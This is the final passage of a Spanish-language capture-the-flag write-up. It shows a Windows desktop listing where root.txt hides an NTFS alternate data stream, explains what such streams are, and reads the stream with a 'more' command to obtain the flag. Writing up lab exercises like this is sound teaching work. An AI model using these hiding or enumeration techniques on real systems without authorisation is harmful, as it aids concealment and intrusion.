 Directorio de C:\Users\admin\Desktop

05/10/2024  07:12 PM    <DIR>          .
05/10/2024  07:12 PM    <DIR>          ..
05/10/2024  07:05 PM             1,192 root.txt
                                    35 root.txt:HI:$DATA
               1 archivos          1,192 bytes
               2 dirs   1,960,402,944 bytes libres

Es un poco extraño el archivo oculto.

Investigándolo, descubrimos que es un archivo tipo Alternate Data Stream (ADS) llamado HI:

Alternate Data Stream (ADS)
Un Alternate Data Stream (ADS) permite que un archivo en NTFS tenga datos ocultos adicionales sin afectar su tamaño aparente. Es una característica usada legítimamente por Windows, pero también puede ser utilizada por malware o técnicas de ocultación de información (steganografía en archivos).


Para poder leerlo desde la CMD, tenemos que usar el comando more:

C:\Users\admin\Desktop>more < root.txt:HI
more < root.txt:HI
...

Ahí está la flag y con esto terminamos la máquina.



  • https://www.reviversoft.com/es/file-extensions/ads
  • https://gist.github.com/chriselgee/bf41951d0b51d0ef9d2504a36921cd13


FIN